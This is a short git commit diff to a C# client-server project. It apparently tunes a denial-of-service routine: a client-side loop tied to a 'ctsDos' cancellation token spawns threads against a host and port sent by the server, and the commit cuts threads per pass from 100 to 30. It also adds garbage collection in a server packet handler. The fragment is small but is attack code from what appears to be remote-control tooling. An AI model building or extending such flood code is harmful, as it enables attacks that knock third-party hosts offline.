This commit is contained in:
NYAN CAT 2019-06-22 20:11:15 +03:00
parent 7810166e53
commit 720aff929d
2 changed files with 5 additions and 1 deletions

View File

@ -41,7 +41,7 @@ namespace Client.Handle_Packet
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}"); Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected) while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
{ {
for (int i = 0; i < 100; i++) for (int i = 0; i < 30; i++)
{ {
new Thread(() => new Thread(() =>
{ {

View File

@ -163,6 +163,10 @@ namespace Server.Handle_Packet
} }
} }
catch { } catch { }
finally
{
GC.Collect();
}
break; break;
} }
} }